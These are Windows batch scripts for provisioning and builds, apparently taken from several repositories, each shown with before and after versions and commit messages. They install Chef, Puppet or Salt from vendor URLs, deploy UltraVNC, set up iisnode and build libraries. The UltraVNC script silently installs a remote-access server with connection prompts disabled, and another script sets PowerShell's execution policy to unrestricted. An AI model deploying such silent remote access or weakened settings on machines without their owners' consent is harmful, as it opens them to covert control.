@setlocal EnableDelayedExpansion EnableExtensions
@for %%i in (a:\_packer_config*.cmd) do @call "%%~i"
@if defined PACKER_DEBUG (@echo on) else (@echo off)

if not defined CM echo ==^> ERROR: The "CM" variable was not found in the environment & goto exit1

if "%CM%" == "nocm"   goto nocm

if not defined CM_VERSION echo ==^> ERROR: The "CM_VERSION" variable was not found in the environment & set CM_VERSION=latest

if "%CM%" == "chef"   goto chef
if "%CM%" == "chefdk" goto chefdk
if "%CM%" == "puppet" goto puppet
if "%CM%" == "salt"   goto salt

echo ==^> ERROR: Unknown value for environment variable CM: "%CM%"

goto exit1

::::::::::::
:chef
::::::::::::

if not defined CHEF_URL if "%CM_VERSION%" == "latest" set CM_VERSION=12.9.38-1

if not defined CHEF_URL set CHEF_64_URL=https://packages.chef.io/stable/windows/2008r2/chef-client-%CM_VERSION%-x64.msi
if not defined CHEF_URL set CHEF_32_URL=https://packages.chef.io/stable/windows/2008r2/chef-client-%CM_VERSION%-x86.msi

if defined ProgramFiles(x86) (
  SET CHEF_URL=%CHEF_64_URL%
) else (
  SET CHEF_URL=%CHEF_32_URL%
)

for %%i in ("%CHEF_URL%") do set CHEF_MSI=%%~nxi
set CHEF_DIR=%TEMP%\chef
set CHEF_PATH=%CHEF_DIR%\%CHEF_MSI%

echo ==^> Creating "%CHEF_DIR%"
mkdir "%CHEF_DIR%"
pushd "%CHEF_DIR%"

if exist "%SystemRoot%\_download.cmd" (
  call "%SystemRoot%\_download.cmd" "%CHEF_URL%" "%CHEF_PATH%"
) else (
  echo ==^> Downloading %CHEF_URL% to %CHEF_PATH%
  powershell -Command "(New-Object System.Net.WebClient).DownloadFile(\"%CHEF_URL%\", '%CHEF_PATH%')" <NUL
)
if not exist "%CHEF_PATH%" goto exit1

echo ==^> Installing Chef client %CM_VERSION%
msiexec /qb /i "%CHEF_PATH%" /l*v "%CHEF_DIR%\chef.log" %CHEF_OPTIONS%

@if errorlevel 1 echo ==^> WARNING: Error %ERRORLEVEL% was returned by: msiexec /qb /i "%CHEF_PATH%" /l*v "%CHEF_DIR%\chef.log" %CHEF_OPTIONS%
ver>nul

goto exit0

::::::::::::
:chefdk
::::::::::::

if not defined CHEFDK_URL if "%CM_VERSION%" == "latest" set CM_VERSION=0.13.21-1
if not defined CHEFDK_URL set CHEFDK_64_URL=https://packages.chef.io/stable/windows/2008r2/chefdk-%CM_VERSION%-x86.msi
if not defined CHEFDK_URL set CHEFDK_32_URL=https://packages.chef.io/stable/windows/2008r2/chefdk-%CM_VERSION%-x86.msi

if defined ProgramFiles(x86) (
  SET CHEFDK_URL=%CHEFDK_64_URL%
) else (
  SET CHEFDK_URL=%CHEFDK_32_URL%
)

for %%i in ("%CHEFDK_URL%") do set CHEFDK_MSI=%%~nxi
set CHEFDK_DIR=%TEMP%\chefdk
set CHEFDK_PATH=%CHEFDK_DIR%\%CHEFDK_MSI%

echo ==^> Creating "%CHEFDK_DIR%"
mkdir "%CHEFDK_DIR%"
pushd "%CHEFDK_DIR%"

echo ==^> Downloading Chef DK to %CHEFDK_PATH%
if exist "%SystemRoot%\_download.cmd" (
  call "%SystemRoot%\_download.cmd" "%CHEFDK_URL%" "%CHEFDK_PATH%"
) else (
  echo ==^> Downloading %CHEFDK_URL% to %CHEFDK_PATH%
  powershell -Command "(New-Object System.Net.WebClient).DownloadFile(\"%CHEFDK_URL%\", '%CHEFDK_PATH%')" <NUL
)
if not exist "%CHEFDK_PATH%" goto exit1

echo ==^> Installing Chef Development Kit %CM_VERSION%
msiexec /qb /i "%CHEFDK_PATH%" /l*v "%CHEFDK_DIR%\chef.log" %CHEFDK_OPTIONS%

@if errorlevel 1 echo ==^> WARNING: Error %ERRORLEVEL% was returned by: msiexec /qb /i "%CHEFDK_PATH%" /l*v "%CHEFDK_DIR%\chef.log" %CHEFDK_OPTIONS%
ver>nul

goto exit0

::::::::::::
:puppet
::::::::::::

:: if "%CM_VERSION%" == "latest" set CM_VERSION=3.8.7

if not defined PUPPET_64_URL set PUPPET_URL=https://downloads.puppetlabs.com/windows/puppet-x64-%CM_VERSION%.msi
if not defined PUPPET_32_URL set PUPPET_URL=https://downloads.puppetlabs.com/windows/puppet-%CM_VERSION%.msi

if defined ProgramFiles(x86) (
  set PUPPET_URL=%PUPPET_64_URL%
) else (
  set PUPPET_URL=%PUPPET_32_URL%
)

for %%i in ("%PUPPET_URL%") do set PUPPET_MSI=%%~nxi
set PUPPET_DIR=%TEMP%\puppet
set PUPPET_PATH=%PUPPET_DIR%\%PUPPET_MSI%

echo ==^> Creating "%PUPPET_DIR%"
mkdir "%PUPPET_DIR%"
pushd "%PUPPET_DIR%"

:: todo support CM_VERSION variable
if exist "%SystemRoot%\_download.cmd" (
  call "%SystemRoot%\_download.cmd" "%PUPPET_URL%" "%PUPPET_PATH%"
) else (
  echo ==^> Downloading %PUPPET_URL% to %PUPPET_PATH%
  powershell -Command "(New-Object System.Net.WebClient).DownloadFile('%PUPPET_URL%', '%PUPPET_PATH%')" <NUL
)
if not exist "%PUPPET_PATH%" goto exit1

echo ==^> Installing Puppet client %CM_VERSION%
:: see http://docs.puppetlabs.com/pe/latest/install_windows.html
msiexec /qb /i "%PUPPET_PATH%" /l*v "%PUPPET_DIR%\puppet.log" %PUPPET_OPTIONS%

@if errorlevel 1 echo ==^> WARNING: Error %ERRORLEVEL% was returned by: msiexec /qb /i "%PUPPET_PATH%" /l*v "%PUPPET_DIR%\puppet.log" %PUPPET_OPTIONS%
ver>nul

goto exit0

::::::::::::
:salt
::::::::::::

if "%CM_VERSION%" == "latest" set CM_VERSION=2015.8.8-2

if not defined SALT_64_URL set SALT_64_URL=https://repo.saltstack.com/windows/Salt-Minion-%CM_VERSION%-AMD64-Setup.exe
if not defined SALT_32_URL set SALT_32_URL=https://repo.saltstack.com/windows/Salt-Minion-%CM_VERSION%-x86-Setup.exe

if defined ProgramFiles(x86) (
  set SALT_URL=%SALT_64_URL%
) else (
  set SALT_URL=%SALT_32_URL%
)

for %%i in ("%SALT_URL%") do set SALT_EXE=%%~nxi
set SALT_DIR=%TEMP%\salt
set SALT_PATH=%SALT_DIR%\%SALT_EXE%

echo ==^> Creating "%SALT_DIR%"
mkdir "%SALT_DIR%"
pushd "%SALT_DIR%"

if exist "%SystemRoot%\_download.cmd" (
  call "%SystemRoot%\_download.cmd" "%SALT_URL%" "%SALT_PATH%"
) else (
  echo ==^> Downloading %SALT_URL% to %SALT_PATH%
  powershell -Command "(New-Object System.Net.WebClient).DownloadFile('%SALT_URL%', '%SALT_PATH%')" <NUL
)
if not exist "%SALT_PATH%" goto exit1

echo ==^> Installing Salt minion
:: see http://docs.saltstack.com/en/latest/topics/installation/windows.html
"%SALT_PATH%" /S %SALT_OPTIONS%

@if errorlevel 1 echo ==^> WARNING: Error %ERRORLEVEL% was returned by: "%SALT_PATH%" /S %SALT_OPTIONS%
ver>nul

goto exit0

::::::::::::
:nocm
::::::::::::

echo ==^> Building box without a configuration management tool

:exit0

@ping 127.0.0.1
@ver>nul

@goto :exit

:exit1

@ping 127.0.0.1
@verify other 2>nul

:exit

@echo ==^> Script exiting with errorlevel %ERRORLEVEL%
@exit /b %ERRORLEVEL%

@setlocal EnableDelayedExpansion EnableExtensions
@for %%i in (a:\_packer_config*.cmd) do @call "%%~i"
@if defined PACKER_DEBUG (@echo on) else (@echo off)

if not defined CM echo ==^> ERROR: The "CM" variable was not found in the environment & goto exit1

if "%CM%" == "nocm"   goto nocm

if not defined CM_VERSION echo ==^> ERROR: The "CM_VERSION" variable was not found in the environment & set CM_VERSION=latest

if "%CM%" == "chef"   goto chef
if "%CM%" == "chefdk" goto chefdk
if "%CM%" == "puppet" goto puppet
if "%CM%" == "salt"   goto salt

echo ==^> ERROR: Unknown value for environment variable CM: "%CM%"

goto exit1

::::::::::::
:chef
::::::::::::

if not defined CHEF_URL if "%CM_VERSION%" == "latest" set CM_VERSION=12.19.36
if not defined CHEF_URL set CHEF_64_URL=https://packages.chef.io/files/stable/chef/%CM_VERSION%/windows/2008r2/chef-client-%CM_VERSION%-1-x64.msi
if not defined CHEF_URL set CHEF_32_URL=https://packages.chef.io/files/stable/chef/%CM_VERSION%/windows/2008r2/chef-client-%CM_VERSION%-1-x86.msi

if defined ProgramFiles(x86) (
  SET CHEF_URL=%CHEF_64_URL%
) else (
  SET CHEF_URL=%CHEF_32_URL%
)

for %%i in ("%CHEF_URL%") do set CHEF_MSI=%%~nxi
set CHEF_DIR=%TEMP%\chef
set CHEF_PATH=%CHEF_DIR%\%CHEF_MSI%

echo ==^> Creating "%CHEF_DIR%"
mkdir "%CHEF_DIR%"
pushd "%CHEF_DIR%"

if exist "%SystemRoot%\_download.cmd" (
  call "%SystemRoot%\_download.cmd" "%CHEF_URL%" "%CHEF_PATH%"
) else (
  echo ==^> Downloading %CHEF_URL% to %CHEF_PATH%
  powershell -Command "(New-Object System.Net.WebClient).DownloadFile(\"%CHEF_URL%\", '%CHEF_PATH%')" <NUL
)
if not exist "%CHEF_PATH%" goto exit1

echo ==^> Installing Chef client %CM_VERSION%
msiexec /qb /i "%CHEF_PATH%" /l*v "%CHEF_DIR%\chef.log" %CHEF_OPTIONS%

@if errorlevel 1 echo ==^> WARNING: Error %ERRORLEVEL% was returned by: msiexec /qb /i "%CHEF_PATH%" /l*v "%CHEF_DIR%\chef.log" %CHEF_OPTIONS%
ver>nul

goto exit0

::::::::::::
:chefdk
::::::::::::

if not defined CHEFDK_URL if "%CM_VERSION%" == "latest" set CM_VERSION=1.3.43
if not defined CHEFDK_URL set CHEFDK_64_URL=https://packages.chef.io/files/stable/chefdk/%CM_VERSION%/windows/2008r2/chefdk-%CM_VERSION%-1-x86.msi
if not defined CHEFDK_URL set CHEFDK_32_URL=https://packages.chef.io/files/stable/chefdk/%CM_VERSION%/windows/2008r2/chefdk-%CM_VERSION%-1-x86.msi

if defined ProgramFiles(x86) (
  SET CHEFDK_URL=%CHEFDK_64_URL%
) else (
  SET CHEFDK_URL=%CHEFDK_32_URL%
)

for %%i in ("%CHEFDK_URL%") do set CHEFDK_MSI=%%~nxi
set CHEFDK_DIR=%TEMP%\chefdk
set CHEFDK_PATH=%CHEFDK_DIR%\%CHEFDK_MSI%

echo ==^> Creating "%CHEFDK_DIR%"
mkdir "%CHEFDK_DIR%"
pushd "%CHEFDK_DIR%"

echo ==^> Downloading Chef DK to %CHEFDK_PATH%
if exist "%SystemRoot%\_download.cmd" (
  call "%SystemRoot%\_download.cmd" "%CHEFDK_URL%" "%CHEFDK_PATH%"
) else (
  echo ==^> Downloading %CHEFDK_URL% to %CHEFDK_PATH%
  powershell -Command "(New-Object System.Net.WebClient).DownloadFile(\"%CHEFDK_URL%\", '%CHEFDK_PATH%')" <NUL
)
if not exist "%CHEFDK_PATH%" goto exit1

echo ==^> Installing Chef Development Kit %CM_VERSION%
msiexec /qb /i "%CHEFDK_PATH%" /l*v "%CHEFDK_DIR%\chef.log" %CHEFDK_OPTIONS%

@if errorlevel 1 echo ==^> WARNING: Error %ERRORLEVEL% was returned by: msiexec /qb /i "%CHEFDK_PATH%" /l*v "%CHEFDK_DIR%\chef.log" %CHEFDK_OPTIONS%
ver>nul

goto exit0

::::::::::::
:puppet
::::::::::::

:: if "%CM_VERSION%" == "latest" set CM_VERSION=3.8.7

if not defined PUPPET_64_URL set PUPPET_URL=https://downloads.puppetlabs.com/windows/puppet-x64-%CM_VERSION%.msi
if not defined PUPPET_32_URL set PUPPET_URL=https://downloads.puppetlabs.com/windows/puppet-%CM_VERSION%.msi

if defined ProgramFiles(x86) (
  set PUPPET_URL=%PUPPET_64_URL%
) else (
  set PUPPET_URL=%PUPPET_32_URL%
)

for %%i in ("%PUPPET_URL%") do set PUPPET_MSI=%%~nxi
set PUPPET_DIR=%TEMP%\puppet
set PUPPET_PATH=%PUPPET_DIR%\%PUPPET_MSI%

echo ==^> Creating "%PUPPET_DIR%"
mkdir "%PUPPET_DIR%"
pushd "%PUPPET_DIR%"

:: todo support CM_VERSION variable
if exist "%SystemRoot%\_download.cmd" (
  call "%SystemRoot%\_download.cmd" "%PUPPET_URL%" "%PUPPET_PATH%"
) else (
  echo ==^> Downloading %PUPPET_URL% to %PUPPET_PATH%
  powershell -Command "(New-Object System.Net.WebClient).DownloadFile('%PUPPET_URL%', '%PUPPET_PATH%')" <NUL
)
if not exist "%PUPPET_PATH%" goto exit1

echo ==^> Installing Puppet client %CM_VERSION%
:: see http://docs.puppetlabs.com/pe/latest/install_windows.html
msiexec /qb /i "%PUPPET_PATH%" /l*v "%PUPPET_DIR%\puppet.log" %PUPPET_OPTIONS%

@if errorlevel 1 echo ==^> WARNING: Error %ERRORLEVEL% was returned by: msiexec /qb /i "%PUPPET_PATH%" /l*v "%PUPPET_DIR%\puppet.log" %PUPPET_OPTIONS%
ver>nul

goto exit0

::::::::::::
:salt
::::::::::::

if "%CM_VERSION%" == "latest" set CM_VERSION=2015.8.8-2

if not defined SALT_64_URL set SALT_64_URL=https://repo.saltstack.com/windows/Salt-Minion-%CM_VERSION%-AMD64-Setup.exe
if not defined SALT_32_URL set SALT_32_URL=https://repo.saltstack.com/windows/Salt-Minion-%CM_VERSION%-x86-Setup.exe

if defined ProgramFiles(x86) (
  set SALT_URL=%SALT_64_URL%
) else (
  set SALT_URL=%SALT_32_URL%
)

for %%i in ("%SALT_URL%") do set SALT_EXE=%%~nxi
set SALT_DIR=%TEMP%\salt
set SALT_PATH=%SALT_DIR%\%SALT_EXE%

echo ==^> Creating "%SALT_DIR%"
mkdir "%SALT_DIR%"
pushd "%SALT_DIR%"

if exist "%SystemRoot%\_download.cmd" (
  call "%SystemRoot%\_download.cmd" "%SALT_URL%" "%SALT_PATH%"
) else (
  echo ==^> Downloading %SALT_URL% to %SALT_PATH%
  powershell -Command "(New-Object System.Net.WebClient).DownloadFile('%SALT_URL%', '%SALT_PATH%')" <NUL
)
if not exist "%SALT_PATH%" goto exit1

echo ==^> Installing Salt minion
:: see http://docs.saltstack.com/en/latest/topics/installation/windows.html
"%SALT_PATH%" /S %SALT_OPTIONS%

@if errorlevel 1 echo ==^> WARNING: Error %ERRORLEVEL% was returned by: "%SALT_PATH%" /S %SALT_OPTIONS%
ver>nul

goto exit0

::::::::::::
:nocm
::::::::::::

echo ==^> Building box without a configuration management tool

:exit0

@ping 127.0.0.1
@ver>nul

@goto :exit

:exit1

@ping 127.0.0.1
@verify other 2>nul

:exit

@echo ==^> Script exiting with errorlevel %ERRORLEVEL%
@exit /b %ERRORLEVEL%

Update chef download URL format and default to more recent releases

The download URLs changed. This will change the format that is passes in since -1 no longer needs to be appended to the normal version string. This also bumps to the latest Chef 12 release and the latest ChefDK. These are MUCH more functional on Windows hosts.

Signed-off-by: Tim Smith <764ef62106582a09ed09dfa0b6bff7c05fd7d1e4@chef.io>


:: Purpose:       Installs a package
:: Requirements:  Run this script with Administrator rights
:: Author:        original TightVNC template by vocatus on reddit.com/r/sysadmin
::                UltraVNC modifications by diggity801 on reddit.com/r/sysadmin
:: History:       1.0.0 + Initial write

::::::::::
:: Prep :: -- Don't change anything in this section
::::::::::
@echo off
set SCRIPT_VERSION=1.0.0
set SCRIPT_UPDATED=2014-07-25
:: Get the date into ISO 8601 standard date format (yyyy-mm-dd) so we can use it
FOR /f %%a in ('WMIC OS GET LocalDateTime ^| find "."') DO set DTS=%%a
set CUR_DATE=%DTS:~0,4%-%DTS:~4,2%-%DTS:~6,2%

:: This is useful if we start from a network share; converts CWD to a drive letter
pushd "%~dp0"
cls

:::::::::::::::
:: VARIABLES :: -- Set these to your desired values
:::::::::::::::
:: Log location and name. Do not use trailing slashes (\)
set LOGPATH=%SystemDrive%\Logs
set LOGFILE=

:: Package to install. Do not use trailing slashes (\)
set LOCATION=
set BINARY=UltraVNC v1.2.0.9 x86.exe
set FLAGS=/SP- /verysilent /norestart /loadinf=config.inf ADDLOCAL="Server,Viewer"

:: Create the log directory if it doesn't exist
if not exist %LOGPATH% mkdir %LOGPATH%

::::::::::::::::::
:: INSTALLATION ::
::::::::::::::::::
:: This line uninstalls any prior version
"%ProgramFiles%\UltraVNC\unins000.exe" /verysilent /suppressmsgboxes /norestart >NUL
"%ProgramFiles(x86)%\UltraVNC\unins000.exe" /verysilent /suppressmsgboxes /norestart >NUL

:: Delay to let it finish
ping 127.0.0.1 -n 4

:: Install the new version
"%BINARY%" %FLAGS%

:: Copy preconfigured settings, contained in ultravnc.ini, to Program Files (sets password, enables remote input, disables all prompts for incoming connections)
copy /Y ultravnc.ini "%ProgramFiles%\UltraVNC\"
copy /Y ultravnc.ini "%ProgramFiles(x86)%\UltraVNC\"

:::::::::::::::::::::::::::::::::::::
:: RETURN EXIT CODE TO REMOTE HOST ::
:::::::::::::::::::::::::::::::::::::
:: Pop back to original directory. This isn't necessary in stand-alone runs of the script, but is needed when being called from another script
popd

:: Return exit code to SCCM/PDQ Deploy/etc
exit /B %EXIT_CODE%

:: Purpose:       Installs a package
:: Requirements:  Run this script with Administrator rights
:: Author:        original TightVNC template by vocatus on reddit.com/r/sysadmin
::                UltraVNC modifications by diggity801 on reddit.com/r/sysadmin
:: History:       1.0.1 + Add proper console and logfile logging
::                1.0.0 + Initial write

::::::::::
:: Prep :: -- Don't change anything in this section
::::::::::
@echo off
set SCRIPT_VERSION=1.0.1
set SCRIPT_UPDATED=2020-02-05
:: Get the date into ISO 8601 standard date format (yyyy-mm-dd) so we can use it
FOR /f %%a in ('WMIC OS GET LocalDateTime ^| find "."') DO set DTS=%%a
set CUR_DATE=%DTS:~0,4%-%DTS:~4,2%-%DTS:~6,2%

:: This is useful if we start from a network share; converts CWD to a drive letter
pushd "%~dp0"
cls

:::::::::::::::
:: VARIABLES :: -- Set these to your desired values
:::::::::::::::
:: Log location and name. Do not use trailing slashes (\)
set LOGPATH=%SystemDrive%\logs
set LOGFILE=%COMPUTERNAME%_UltraVNC_x86_install.log

:: Package to install. Do not use trailing slashes (\)
set BINARY=UltraVNC v1.2.2.4 x86.exe
set FLAGS=/SP- /verysilent /norestart /loadinf=config.inf ADDLOCAL="Server,Viewer"

:: Create the log directory if it doesn't exist
if not exist %LOGPATH% mkdir %LOGPATH%

::::::::::::::::::
:: INSTALLATION ::
::::::::::::::::::
:: This line uninstalls any prior version
echo %CUR_DATE% %TIME% Removing previous versions, please wait...
echo %CUR_DATE% %TIME% Removing previous versions, please wait...>> "%LOGPATH%\%LOGFILE%" 2>NUL
"%ProgramFiles%\UltraVNC\unins000.exe" /verysilent /suppressmsgboxes /norestart >> "%LOGPATH%\%LOGFILE%" 2>NUL
"%ProgramFiles(x86)%\UltraVNC\unins000.exe" /verysilent /suppressmsgboxes /norestart >> "%LOGPATH%\%LOGFILE%" 2>NUL

:: Delay to let it finish
ping 127.0.0.1 -n 4

echo %CUR_DATE% %TIME% Done.
echo %CUR_DATE% %TIME% Done.>> "%LOGPATH%\%LOGFILE%" 2>NUL

:: Install the package from the local folder (if all files are in the same directory)
echo %CUR_DATE% %TIME% Installing package...
echo %CUR_DATE% %TIME% Installing package...>> "%LOGPATH%\%LOGFILE%" 2>NUL
"%BINARY%" %FLAGS%
echo %CUR_DATE% %TIME% Done.
echo %CUR_DATE% %TIME% Done.>> "%LOGPATH%\%LOGFILE%" 2>NUL

:: Copy preconfigured settings, contained in ultravnc.ini, to Program Files (sets password, enables remote input, disables all prompts for incoming connections)
echo %CUR_DATE% %TIME% Finishing configuration and cleaning up...
echo %CUR_DATE% %TIME% Finishing configuration and cleaning up...>> "%LOGPATH%\%LOGFILE%" 2>NUL
copy /Y ultravnc.ini "%ProgramFiles%\UltraVNC\"
copy /Y ultravnc.ini "%ProgramFiles(x86)%\UltraVNC\"
echo %CUR_DATE% %TIME% Done.
echo %CUR_DATE% %TIME% Done.>> "%LOGPATH%\%LOGFILE%" 2>NUL

:: Pop back to original directory. This isn't necessary in stand-alone runs of the script, but is needed when being called from another script
popd

:: Return exit code to SCCM/PDQ Deploy/etc
exit /B %EXIT_CODE%

Update UltraVNC.bat

Update UltraVNC.bat


@echo on

cd /d "%~dp0"

if "%EMULATED%"=="true" if DEFINED APPCMD goto emulator_setup
if "%EMULATED%"== "true" exit /b 0

echo Granting permissions for Network Service to the web root directory...
icacls ..\ /grant "Network Service":(OI)(CI)W
if %ERRORLEVEL% neq 0 goto error
echo OK

echo Ensuring the "%programfiles(x86)%\nodejs" directory exists...
md "%programfiles(x86)%\nodejs"

echo Copying node.exe to the "%programfiles(x86)%\nodejs" directory...
copy /y node.exe "%programfiles(x86)%\nodejs"
if %ERRORLEVEL% neq 0 goto error
echo OK

echo Copying web.cloud.config to web.config...
copy /y ..\Web.cloud.config ..\Web.config
if %ERRORLEVEL% neq 0 goto error
echo OK

echo Installing Visual Studio 2010 C++ Redistributable Package...
vcredist_x64.exe /q
if %ERRORLEVEL% neq 0 goto error
echo OK

echo Installing iisnode...
msiexec.exe /quiet /i iisnode.msi
if %ERRORLEVEL neq 0 goto error
echo OK

echo SUCCESS
exit /b 0

:error

echo FAILED
exit /b -1

:emulator_setup
echo Running in emulator adding iisnode to application host config
FOR /F "tokens=1,2 delims=/" %%a in ("%APPCMD%") DO set FN=%%a&set OPN=%%b
if "%OPN%"=="%OPN:apphostconfig:=%" (
    echo "Could not parse appcmd '%appcmd% for configuration file, exiting"
    goto error
)

set IISNODE_BINARY_DIRECTORY=%programfiles%\Microsoft SDKs\Windows Azure\PowerShell\x86
if "%PROCESSOR_ARCHITECTURE%"=="AMD64" set IISNODE_BINARY_DIRECTORY=%programfiles(x86)%\Microsoft SDKs\Windows Azure\PowerShell\x64

echo "Using iisnode binaries location '%IISNODE_BINARY_DIRECTORY%'"
echo installing iisnode module using AppCMD alias %appcmd%
%appcmd% install module /name:"iisnode" /image:"%IISNODE_BINARY_DIRECTORY%\iisnode.dll"

set apphostconfigfile=%OPN:apphostconfig:=%
powershell -c "set-executionpolicy unrestricted"
powershell .\ChangeConfig.ps1 %apphostconfigfile%
if %ERRORLEVEL% neq 0 goto error

if "%PROCESSOR_ARCHITECTURE%"=="AMD64" set
copy /y "%IISNODE_BINARY_DIRECTORY%\iisnode_schema.xml" "%programfiles%\IIS Express\config\schema\iisnode_schema.xml"
if %ERRORLEVEL% neq 0 goto error
exit /b 0

@echo on

cd /d "%~dp0"

if "%EMULATED%"=="true" if DEFINED APPCMD goto emulator_setup
if "%EMULATED%"== "true" exit /b 0

echo Granting permissions for Network Service to the web root directory...
icacls ..\ /grant "Network Service":(OI)(CI)W
if %ERRORLEVEL% neq 0 goto error
echo OK

echo Ensuring the "%programfiles(x86)%\nodejs" directory exists...
md "%programfiles(x86)%\nodejs"

echo Copying node.exe to the "%programfiles(x86)%\nodejs" directory...
copy /y node.exe "%programfiles(x86)%\nodejs"
if %ERRORLEVEL% neq 0 goto error
echo OK

echo Copying web.cloud.config to web.config...
copy /y ..\Web.cloud.config ..\Web.config
if %ERRORLEVEL% neq 0 goto error
echo OK

echo Installing Visual Studio 2010 C++ Redistributable Package...
vcredist_x64.exe /q
if %ERRORLEVEL% neq 0 goto error
echo OK

echo Installing iisnode...
msiexec.exe /quiet /i iisnode.msi
if %ERRORLEVEL neq 0 goto error
echo OK

echo SUCCESS
exit /b 0

:error

echo FAILED
exit /b -1

:emulator_setup
echo Running in emulator adding iisnode to application host config
FOR /F "tokens=1,2 delims=/" %%a in ("%APPCMD%") DO set FN=%%a&set OPN=%%b
if "%OPN%"=="%OPN:apphostconfig:=%" (
    echo "Could not parse appcmd '%appcmd% for configuration file, exiting"
    goto error
)

set IISNODE_BINARY_DIRECTORY=%programfiles%\Microsoft SDKs\Windows Azure\PowerShell\Azure\x86
if "%PROCESSOR_ARCHITECTURE%"=="AMD64" set IISNODE_BINARY_DIRECTORY=%programfiles(x86)%\Microsoft SDKs\Windows Azure\PowerShell\Azure\x64

echo "Using iisnode binaries location '%IISNODE_BINARY_DIRECTORY%'"
echo installing iisnode module using AppCMD alias %appcmd%
%appcmd% install module /name:"iisnode" /image:"%IISNODE_BINARY_DIRECTORY%\iisnode.dll"

set apphostconfigfile=%OPN:apphostconfig:=%
powershell -c "set-executionpolicy unrestricted"
powershell .\ChangeConfig.ps1 %apphostconfigfile%
if %ERRORLEVEL% neq 0 goto error

if "%PROCESSOR_ARCHITECTURE%"=="AMD64" set
copy /y "%IISNODE_BINARY_DIRECTORY%\iisnode_schema.xml" "%programfiles%\IIS Express\config\schema\iisnode_schema.xml"
if %ERRORLEVEL% neq 0 goto error
exit /b 0

Fix for issue #286

Fix for issue #286


@echo off
setlocal EnableExtensions
setlocal EnableDelayedExpansion
set KEY_NAME=HKEY_CLASSES_ROOT\VisualStudio.DTE.

if "%1"=="" (
	for /l %%x in (12, -1, 8) do (
		set "CUR_KEY=%KEY_NAME%%%x.0"
		reg query !CUR_KEY! >> nul 2>&1
		if !ERRORLEVEL! == 0 (
			echo "msvc%%x is installed"
			set "MSVS_VER=VS%%x0"
			set VS_MAJOR=%%x
			goto got_version
		)
	)
) else (
	set "MSVS_VER=%1"
)
:got_version
echo "Using %MSVS_VER%"

set GENERATOR_NAME=""
if /i "%MSVS_VER%" == "vs80" (
	set GENERATOR_NAME="Visual Studio 8 2005"
	set "B2_TOOLSET=msvc-8.0"
)
if /i "%MSVS_VER%" == "vs90" (
	set GENERATOR_NAME="Visual Studio 9 2008"
	set "B2_TOOLSET=msvc-9.0"
)
if /i "%MSVS_VER%" == "vs100" (
	set GENERATOR_NAME="Visual Studio 10"
	set "B2_TOOLSET=msvc-10.0"
)
if /i "%MSVS_VER%" == "vs110" (
	set GENERATOR_NAME="Visual Studio 11"
	set "B2_TOOLSET=msvc-11.0"
)
if /i "%MSVS_VER%" == "vs120" (
	set GENERATOR_NAME="Visual Studio 12"
	set "B2_TOOLSET=msvc-12.0"
)

if %GENERATOR_NAME%=="" (
	set CMAKE_CMD=cmake
) else (
	set CMAKE_CMD=cmake -G %GENERATOR_NAME%
)

echo "Cmake command: %CMAKE_CMD%"
echo "Boost toolset: %B2_TOOLSET%"
set "COMMON_TOOLS=%MSVS_VER%COMNTOOLS"
set DEVENV="!%COMMON_TOOLS%!..\IDE\devenv.exe"

echo "Using %DEVENV% compiler"

set PWD=%CD%
set BASEDIR=%PWD%\..
echo "Working dir: " %PWD%
echo "Basedir: " %BASEDIR%
set PATH=%PATH%;%PWD%\cmake-2.8.12-win32-x86\bin;%PWD%\premake4.3
cd %BASEDIR%\deps\boost_1_54_0
call bootstrap.bat
b2 toolset=$B2_TOOLSET$ --with-filesystem --with-exception --with-system --with-thread --with-date_time --with-program_options
rd /S /Q %BASEDIR%\deps\glfw-3.0.3\build
md %BASEDIR%\deps\glfw-3.0.3\build
cd %BASEDIR%\deps\glfw-3.0.3\build
%CMAKE_CMD% ..
%DEVENV% GLFW.sln /Build
%DEVENV% GLFW.sln /Build "Release"
cd %PWD%
rd /S /Q %BASEDIR%\deps\zlib-1.2.8\build
md %BASEDIR%\deps\zlib-1.2.8\build
cd %BASEDIR%\deps\zlib-1.2.8\build
%CMAKE_CMD% ..
%DEVENV% zlib.sln /Build
%DEVENV% zlib.sln /Build "Release"
copy zconf.h ..
rd /S /Q %BASEDIR%\deps\lpng166\build
md %BASEDIR%\deps\lpng166\build
cd %BASEDIR%\deps\lpng166\build
set ZLIB_INCLUDE_DIR=%BASEDIR%\deps\zlib-1.2.8\
set ZLIB_LIBRARY=%BASEDIR%\deps\zlib-1.2.8\build\Debug\zlibd.lib
%CMAKE_CMD% -DZLIB_LIBRARY:FILEPATH=%ZLIB_LIBRARY% -DZLIB_INCLUDE_DIR:PATH=%ZLIB_INCLUDE_DIR% ..
%DEVENV% libpng.sln /Build "Debug"
set ZLIB_LIBRARY=%BASEDIR%\deps\zlib-1.2.8\build\Release\zlib.lib
%CMAKE_CMD% -DZLIB_LIBRARY:FILEPATH=%ZLIB_LIBRARY% -DZLIB_INCLUDE_DIR:PATH=%ZLIB_INCLUDE_DIR% ..
%DEVENV% libpng.sln /Build "Release"
cd %BASEDIR%\deps\lpng166
copy scripts\pnglibconf.h.prebuilt pnglibconf.h
cd %PWD%

@echo off
setlocal EnableExtensions
setlocal EnableDelayedExpansion
set KEY_NAME=HKEY_CLASSES_ROOT\VisualStudio.DTE.

if "%1"=="" (
	for /l %%x in (12, -1, 8) do (
		set "CUR_KEY=%KEY_NAME%%%x.0"
		reg query !CUR_KEY! >> nul 2>&1
		if !ERRORLEVEL! == 0 (
			echo "msvc%%x is installed"
			set "MSVS_VER=VS%%x0"
			set VS_MAJOR=%%x
			goto got_version
		)
	)
) else (
	set "MSVS_VER=%1"
)
:got_version
echo "Using %MSVS_VER%"

set GENERATOR_NAME=""
if /i "%MSVS_VER%" == "vs80" (
	set GENERATOR_NAME="Visual Studio 8 2005"
	set "B2_TOOLSET=msvc-8.0"
)
if /i "%MSVS_VER%" == "vs90" (
	set GENERATOR_NAME="Visual Studio 9 2008"
	set "B2_TOOLSET=msvc-9.0"
)
if /i "%MSVS_VER%" == "vs100" (
	set GENERATOR_NAME="Visual Studio 10"
	set "B2_TOOLSET=msvc-10.0"
)
if /i "%MSVS_VER%" == "vs110" (
	set GENERATOR_NAME="Visual Studio 11"
	set "B2_TOOLSET=msvc-11.0"
)
if /i "%MSVS_VER%" == "vs120" (
	set GENERATOR_NAME="Visual Studio 12"
	set "B2_TOOLSET=msvc-12.0"
)

if %GENERATOR_NAME%=="" (
	set CMAKE_CMD=cmake
) else (
	set CMAKE_CMD=cmake -G %GENERATOR_NAME%
)

echo "Cmake command: %CMAKE_CMD%"
echo "Boost toolset: %B2_TOOLSET%"
set "COMMON_TOOLS=%MSVS_VER%COMNTOOLS"
set DEVENV="!%COMMON_TOOLS%!..\IDE\devenv.exe"

